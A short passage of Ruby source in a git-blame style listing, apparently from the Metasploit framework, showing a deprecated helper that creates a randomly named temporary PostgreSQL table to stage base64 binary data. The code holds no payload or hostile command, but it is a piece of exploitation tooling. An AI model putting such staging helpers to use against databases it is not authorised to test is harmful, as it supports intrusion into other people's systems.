|
|
|
2011-03-23 19:36:07 +00:00
|
|
|
# Creates a temporary table to store base64'ed binary data in.
|
2012-12-22 06:30:09 +00:00
|
|
|
#
|
|
|
|
# @deprecated No longer necessary since we can insert base64 data directly
|
2011-03-23 19:36:07 +00:00
|
|
|
def postgres_create_stager_table
|
|
|
|
tbl = Rex::Text.rand_text_alpha(8).downcase
|
|
|
|
fld = Rex::Text.rand_text_alpha(8).downcase
|
|
|
|
resp = postgres_query("create temporary table #{tbl}(#{fld} text)")
|
|
|
|
if resp[:sql_error]
|
|
|
|
print_error resp[:sql_error]
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
return [tbl,fld]
|
|
|
|
end
|
|
|
|
|
|
|
|
|
2010-02-02 01:40:48 +00:00
|
|
|
end
|
|
|
|
end
|